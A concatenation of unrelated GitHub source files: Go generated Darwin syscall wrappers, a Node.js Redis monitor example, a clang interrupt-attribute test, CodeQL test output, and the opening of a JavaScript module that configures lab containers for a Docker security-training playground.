err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getsid(pid int) (sid int, err error) {
r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
sid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getuid() (uid int) {
r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
uid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Issetugid() (tainted bool) {
r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
tainted = bool(r0 != 0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Kqueue() (fd int, err error) {
r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Lchown(path string, uid int, gid int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Link(path string, link string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(link)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(link)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Listen(s int, backlog int) (err error) {
_, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mkdir(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mkdirat(dirfd int, path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mkfifo(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mknod(path string, mode uint32, dev int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Open(path string, mode int, perm uint32) (fd int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Pathconf(path string, name int) (val int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
val = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Pread(fd int, p []byte, offset int64) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func read(fd int, p []byte) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Readlink(path string, buf []byte) (n int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 unsafe.Pointer
if len(buf) > 0 {
_p1 = unsafe.Pointer(&buf[0])
} else {
_p1 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 unsafe.Pointer
if len(buf) > 0 {
_p1 = unsafe.Pointer(&buf[0])
} else {
_p1 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Rename(from string, to string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(from)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(to)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Renameat(fromfd int, from string, tofd int, to string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(from)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(to)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Revoke(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Rmdir(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
newoffset = int64(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
_, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setegid(egid int) (err error) {
_, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Seteuid(euid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setgid(gid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setlogin(name string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(name)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setpgid(pid int, pgid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setpriority(which int, who int, prio int) (err error) {
_, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setprivexec(flag int) (err error) {
_, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setregid(rgid int, egid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setreuid(ruid int, euid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setrlimit(which int, lim *Rlimit) (err error) {
_, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setsid() (pid int, err error) {
r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
pid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Settimeofday(tp *Timeval) (err error) {
_, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setuid(uid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Symlink(path string, link string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(link)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(oldpath)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(newpath)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Sync() (err error) {
_, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Truncate(path string, length int64) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Umask(newmask int) (oldmask int) {
r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
oldmask = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Undelete(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Unlink(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Unlinkat(dirfd int, path string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Unmount(path string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func write(fd int, p []byte) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
ret = uintptr(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func munmap(addr uintptr, length uintptr) (err error) {
_, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
sec = int64(r0)
usec = int32(r1)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fstat(fd int, stat *Stat_t) (err error) {
_, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fstatfs(fd int, stat *Statfs_t) (err error) {
_, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
var _p0 unsafe.Pointer
if len(buf) > 0 {
_p0 = unsafe.Pointer(&buf[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
r0, _, e1 := Syscall(SYS_GETFSSTAT64, uintptr(buf), uintptr(size), uintptr(flags))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Lstat(path string, stat *Stat_t) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Stat(path string, stat *Stat_t) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Statfs(path string, stat *Statfs_t) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
| {
"pile_set_name": "Github"
} |
var client = require("../index").createClient(),
util = require("util");
client.monitor(function (err, res) {
console.log("Entering monitoring mode.");
});
client.on("monitor", function (time, args) {
console.log(time + ": " + util.inspect(args));
});
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -triple x86_64-unknown-linux-gnu %s -emit-llvm -o - | FileCheck %s --check-prefix=X86_64_LINUX
// RUN: %clang_cc1 -triple i386-unknown-linux-gnu %s -emit-llvm -o - | FileCheck %s --check-prefix=X86_LINUX
// RUN: %clang_cc1 -triple x86_64-pc-win32 %s -emit-llvm -o - | FileCheck %s --check-prefix=X86_64_WIN
// RUN: %clang_cc1 -triple i386-pc-win32 %s -emit-llvm -o - | FileCheck %s --check-prefix=X86_WIN
// RUN: %clang_cc1 -triple x86_64-unknown-linux-gnux32 %s -emit-llvm -o - | FileCheck %s --check-prefix=X86_64_LINUX
#ifdef __x86_64__
typedef __UINT64_TYPE__ uword;
#else
typedef __UINT32_TYPE__ uword;
#endif
__attribute__((interrupt)) void foo7(int *a, uword b) {}
namespace S {
__attribute__((interrupt)) void foo8(int *a) {}
}
struct St {
static void foo9(int *a) __attribute__((interrupt)) {}
};
// X86_64_LINUX: @llvm.used = appending global [3 x i8*] [i8* bitcast (void (i32*, i64)* @{{.*}}foo7{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo8{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo9{{.*}} to i8*)], section "llvm.metadata"
// X86_64_LINUX: define x86_intrcc void @{{.*}}foo7{{.*}}(i32* %{{.+}}, i64 %{{.+}})
// X86_64_LINUX: define x86_intrcc void @{{.*}}foo8{{.*}}(i32* %{{.+}})
// X86_64_LINUX: define linkonce_odr x86_intrcc void @{{.*}}foo9{{.*}}(i32* %{{.+}})
// X86_LINUX: @llvm.used = appending global [3 x i8*] [i8* bitcast (void (i32*, i32)* @{{.*}}foo7{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo8{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo9{{.*}} to i8*)], section "llvm.metadata"
// X86_LINUX: define x86_intrcc void @{{.*}}foo7{{.*}}(i32* %{{.+}}, i32 %{{.+}})
// X86_LINUX: define x86_intrcc void @{{.*}}foo8{{.*}}(i32* %{{.+}})
// X86_LINUX: define linkonce_odr x86_intrcc void @{{.*}}foo9{{.*}}(i32* %{{.+}})
// X86_64_WIN: @llvm.used = appending global [3 x i8*] [i8* bitcast (void (i32*, i64)* @{{.*}}foo7{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo8{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo9{{.*}} to i8*)], section "llvm.metadata"
// X86_64_WIN: define dso_local x86_intrcc void @{{.*}}foo7{{.*}}(i32* %{{.+}}, i64 %{{.+}})
// X86_64_WIN: define dso_local x86_intrcc void @{{.*}}foo8{{.*}}(i32* %{{.+}})
// X86_64_WIN: define linkonce_odr dso_local x86_intrcc void @{{.*}}foo9{{.*}}(i32* %{{.+}})
// X86_WIN: @llvm.used = appending global [3 x i8*] [i8* bitcast (void (i32*, i32)* @{{.*}}foo7{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo8{{.*}} to i8*), i8* bitcast (void (i32*)* @{{.*}}foo9{{.*}} to i8*)], section "llvm.metadata"
// X86_WIN: define dso_local x86_intrcc void @{{.*}}foo7{{.*}}(i32* %{{.+}}, i32 %{{.+}})
// X86_WIN: define dso_local x86_intrcc void @{{.*}}foo8{{.*}}(i32* %{{.+}})
// X86_WIN: define linkonce_odr dso_local x86_intrcc void @{{.*}}foo9{{.*}}(i32* %{{.+}})
| {
"pile_set_name": "Github"
} |
{
"forks_count": 11722,
"projects_count": 58,
"repos_count": 55,
"stars_count": 27338
} | {
"pile_set_name": "Github"
} |
| aggregate_literals.c:26:31:26:36 | {...} | aggregate_literals.c:1:8:1:17 | someStruct | aggregate_literals.c:3:9:3:9 | j |
| aggregate_literals.c:28:31:28:41 | {...} | aggregate_literals.c:1:8:1:17 | someStruct | aggregate_literals.c:2:9:2:9 | i |
| aggregate_literals.c:50:38:69:3 | {...} | aggregate_literals.c:41:8:41:20 | complexStruct | aggregate_literals.c:42:23:42:25 | sss |
| aggregate_literals.c:72:38:101:3 | {...} | aggregate_literals.c:41:8:41:20 | complexStruct | aggregate_literals.c:45:9:45:9 | z |
| aggregate_literals.c:78:7:81:7 | {...} | aggregate_literals.c:1:8:1:17 | someStruct | aggregate_literals.c:3:9:3:9 | j |
| aggregate_literals.c:94:7:97:7 | {...} | aggregate_literals.c:6:8:6:22 | someOtherStruct | aggregate_literals.c:8:9:8:9 | b |
| aggregate_literals_cpp.cpp:24:29:24:37 | {...} | aggregate_literals_cpp.cpp:1:8:1:26 | StructWithBitfields | aggregate_literals_cpp.cpp:10:18:10:18 | c |
| aggregate_literals_cpp.cpp:25:29:25:31 | {...} | aggregate_literals_cpp.cpp:1:8:1:26 | StructWithBitfields | aggregate_literals_cpp.cpp:4:18:4:18 | a |
| aggregate_literals_cpp.cpp:25:29:25:31 | {...} | aggregate_literals_cpp.cpp:1:8:1:26 | StructWithBitfields | aggregate_literals_cpp.cpp:8:18:8:18 | b |
| aggregate_literals_cpp.cpp:25:29:25:31 | {...} | aggregate_literals_cpp.cpp:1:8:1:26 | StructWithBitfields | aggregate_literals_cpp.cpp:10:18:10:18 | c |
| aggregate_literals_cpp.cpp:27:26:27:28 | {...} | aggregate_literals_cpp.cpp:13:7:13:22 | UnionWithMethods | aggregate_literals_cpp.cpp:18:12:18:12 | d |
| {
"pile_set_name": "Github"
} |
const dockerJS = require('mydockerjs').docker;
const di = require('mydockerjs').imageMgr;
const _ = require('underscore');
const appUtils = require('../util/AppUtils.js');
const log = appUtils.getLogger();
const service_prefix="dsp_hacktool"
const oneline_prefix="dsp_oneline"
const allowedNetworks = ['external', 'public', 'default'];
const routerIDs = ['router', 'firewall'];
const async = require('async');
const DSP_VOLUME_NAME = `dsp_volume`;
const DSP_TARGET_VOLUME_NAME = `/dsp`;
const KALI_SERVICE_IMAGE = "dockersecplayground/kali:latest"
const KALI_SERVICE_NAME = `${service_prefix}_managed_kali`;
const BROWSER_SERVICE_IMAGE = "dockersecplayground/hackbrowser:v1.0"
const BROWSER_SERVICE_NAME = `${service_prefix}_managed_browser`;
const WIRESHARK_SERVICE_NAME = `${service_prefix}_managed_wireshark`;
const WIRESHARK_IMAGE_NAME = "ffeldhaus/wireshark"
const WIRESHARK_VOLUME_NAME = `/home/wireshark`;
const TCPDUMP_SERVICE_NAME = `${service_prefix}_managed_tcpdump`;
const TCPDUMP_IMAGE_NAME = "itsthenetwork/alpine-tcpdump";
const TCPDUMP_CMD = "-i any -s 65535 -w "
const HTTPD_SERVICE_NAME = `${service_prefix}_managed_httpd`;
const HTTPD_SERVICE_IMAGE = "httpd:2.4"
const HTTPD_VOLUME_NAME = "/usr/local/apache2/htdocs/"
const HACK_TOOLS_CONFIG_FILE = require('../../config/hack_tools.json');
const hackTools = HACK_TOOLS_CONFIG_FILE.images;
function parsePorts(ports) {
const retPorts = []
_.each(ports, (p) => {
if(p.IP && p.PrivatePort && p.PublicPort) {
let portToAdd = `${p.IP}:${p.PrivatePort} => ${p.PublicPort}`;
retPorts.push(portToAdd);
}
});
return retPorts
}
function getServices(callback) {
const arrRet = []
